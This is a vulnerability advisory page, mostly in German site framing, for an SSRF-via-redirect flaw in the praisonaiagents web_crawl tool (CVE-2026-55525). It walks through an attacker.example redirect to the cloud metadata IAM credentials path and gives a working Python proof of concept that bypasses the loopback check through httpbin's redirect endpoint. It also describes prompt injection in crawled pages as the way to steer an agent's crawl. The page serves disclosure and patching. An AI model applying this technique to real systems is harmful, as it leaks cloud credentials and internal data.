Hoch

praisonaiagents web_crawl vulnerable to SSRF via redirect-following

  • Veröffentlicht: 25.08.2026
  • Aktualisiert: 11.10.2026 15:18

Summary

web_crawl (an exported, model-callable tool) validates only the INITIAL URL's resolved IP against a private/loopback blocklist, then fetches with httpx.Client(follow_redirects=True) and never re-validates redirect targets.

An attacker who controls the agent's crawl target (a malicious task, or prompt injection inside any page the agent already crawls) supplies a public URL that HTTP 302-redirects to an internal address. httpx follows the redirect, fetches the internal resource (cloud metadata 169.254.169.254, localhost services, internal APIs), and returns its body into the agent context. This bypasses the SSRF protection added to fix the earlier web_crawl SSRF reports, so it is an incomplete fix for that class. httpx is the default crawl provider on a stock pip install praisonaiagents, so no provider configuration is required.

Details

  1. The agent is asked (or prompt-injected) to crawl https://attacker.example/r, which the source accepts because attacker.example resolves to a public IP.
  2. The attacker server responds 302 Location: http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>.
  3. _crawl_with_httpx follows the redirect with follow_redirects=True, fetches the IAM credential document, and web_crawl returns it in the result content field, where it enters the agent context and any downstream tool, log, or model response.

The same technique reaches http://127.0.0.1:<port>/ internal services and other link-local and RFC1918 hosts

Source (validates only the initial hostname)

python
# src/praisonai-agents/praisonaiagents/tools/web_crawl_tools.py:231

ip_str = socket.gethostbyname(hostname)
ip = ipaddress.ip_address(ip_str)
if ip.is_loopback or ip.is_private or ip.is_link_local or ip.is_multicast or ip.is_unspecified:
    logger.warning(f"Rejected SSRF or private IP attempt: {u}")
    continue

Sink (follows redirects with no re-validation)

python
# src/praisonai-agents/praisonaiagents/tools/web_crawl_tools.py:142

import httpx
with httpx.Client(follow_redirects=True, timeout=30.0) as client:
       response = client.get(url)
       response.raise_for_status()
       content = response.text

PoC

Dependencies: pip install praisonaiagents==1.6.52 httpx

Preconditions:

  • The agent has the web_crawl tool registered, which is a standard exported tool.
  • The default crawl provider httpx is selected (it is always available and is available[0] when Tavily/Crawl4AI are not installed, the default install).
  • ALLOW_LOCAL_CRAWL is not set to true (default), so the source front-door is active and the redirect path is the load-bearing bypass.
  • The crawl target is influenced by the model (a task instruction or prompt injection in previously fetched content).
python
"""Direct loopback is blocked; a public redirector to loopback is not."""
import http.server, json, socket, threading, urllib.parse
from praisonaiagents.tools import web_crawl

SECRET = "INTERNAL-ONLY-IAM-CREDENTIAL-zzz"

class H(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200); self.end_headers(); self.wfile.write(SECRET.encode())
    def log_message(self, *a): pass

s = socket.socket(); s.bind(("127.0.0.1", 0)); port = s.getsockname()[1]; s.close()
srv = http.server.HTTPServer(("127.0.0.1", port), H)
threading.Thread(target=srv.serve_forever, daemon=True).start()
internal = f"http://127.0.0.1:{port}/latest/meta-data/iam/security-credentials/"

control = web_crawl(internal)                       # front-door blocks loopback
leaked = lambda r: SECRET in json.dumps(r)
redirector = "https://httpbin.org/redirect-to?" + urllib.parse.urlencode(
    {"url": internal, "status_code": "302"})        # public host -> 302 -> internal
exploit = web_crawl(redirector)
srv.shutdown()
print("control_leaked", leaked(control), "| exploit_leaked", leaked(exploit))
assert not leaked(control) and leaked(exploit)
print("CONFIRMED: internal secret exfiltrated via redirect, front-door bypassed")

Impact

Any attacker who can influence an agent's crawl target (a crafted task, or prompt injection in any page the agent crawls) reads internal-only resources through the agent. On a cloud host this discloses the instance metadata service IAM credentials, giving the attacker the agent host's cloud role; it also reaches localhost admin services and internal APIs. The fetched body is returned into the agent context, so it is exposed to the model, logs, and downstream tools. The SSRF protection that the earlier web_crawl advisories added is fully enabled and still bypassed.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Python (PyPI) praisonaiagents < 1.6.58 1.6.58

Verweise

CVSS-Wert 7.5/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Schwäche (CWE)
CWE-918
Plattform
Python (PyPI)
Paket
praisonaiagents
Veröffentlicht
25.08.2026
Aktualisiert
11.10.2026 15:18

Quellen und Lizenzen

OSV / GitHub Advisory Database - PYSEC-2026-3898 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-5r34-2g38-6569 - CC BY 4.0

Schwachstellenhistorie: praisonaiagents

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (50) im Archiv
Einträge insgesamt
50
Erste → letzte
04.2026 10.2026
Ohne Fix
0
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Kritisch 10
  • Hoch 27
  • Mittel 13

Veröffentlichungen pro Jahr

  1. 2026: 50
Schweregrad:
  1. praisonaiagents web_crawl vulnerable to SSRF via redirect-following dieser Eintrag
    Hoch · 7.5 CVE-2026-55525 < 1.6.58 1.6.58
  2. Hoch · 7.5 CVE-2026-57129 < 1.6.59 1.6.59
  3. Kritisch · 9.8 CVE-2026-57125 < 1.6.59 1.6.59
Mehr anzeigen (17) 20 von 37 angezeigt

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.